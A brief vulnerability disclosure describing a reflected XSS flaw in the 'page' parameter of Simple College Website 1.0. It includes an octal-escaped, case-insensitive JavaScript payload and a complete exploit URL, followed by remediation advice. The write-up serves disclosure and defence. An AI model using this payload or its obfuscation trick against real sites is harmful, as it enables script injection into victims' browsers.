Simple College Website 1.0 — XSS

Simple College Website 1.0 allows a user to perform a Reflected Cross-site scripting via /college_website/index.php?page= when sending Javascript code to the “page” parameter.

Vendor Homepage: https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html

Source Code: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-college-website.zip

Identification

When i sent a random text to the endpoint “/college_website/index.php?page=<random_text>”, i observed that it was added to the response HTML without any encoding.

Hacking

From the Response of the Burp, i could see that the injection point output is capitalised. This would cause some trouble with executing the Javascript payload as it is case sensitive.

After a good amount of search and research, i came with the following payload.

[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51")()

Thanks to the blog https://en.qdmana.com/2022/188/202207070757366180.html.

Final url with payload:http://<domain>/college_website/index.php?page=<script>[][“\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162”](“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51”)()</script>

Remediation

1. Filter input on arrival.
2. Encode data on output.